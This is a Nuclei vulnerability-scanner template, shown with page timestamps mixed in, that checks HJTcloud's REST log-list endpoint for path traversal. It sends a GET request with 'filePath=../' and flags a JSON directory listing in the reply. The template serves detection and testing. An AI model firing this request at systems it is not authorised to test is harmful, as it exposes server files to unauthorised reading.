nuclei-templates/vulnerabilities/other/hjtcloud-rest-arbitrary-fil...

43 lines
886 B
YAML
Raw Normal View History

id: hjtcloud-rest-arbitrary-file-read
info:
name: HJTcloud - Local File Inclusion
author: pikpikcu
severity: low
description: HJTcloud is vulnerable to local file inclusion.
reference:
- https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
2021-05-31 08:49:23 +00:00
tags: hjtcloud,lfi
requests:
- method: GET
path:
2021-05-31 08:49:23 +00:00
- "{{BaseURL}}/him/api/rest/V1.0/system/log/list?filePath=../"
matchers-condition: and
matchers:
- type: word
words:
2021-06-01 10:38:41 +00:00
- '"name":'
- '"length":'
- '"filePath":'
- '"list":'
2021-05-31 08:49:23 +00:00
condition: and
2021-06-01 10:38:41 +00:00
part: body
- type: word
words:
- "application/json"
part: header
- type: status
status:
- 200
# Enhanced by mp on 2022/08/03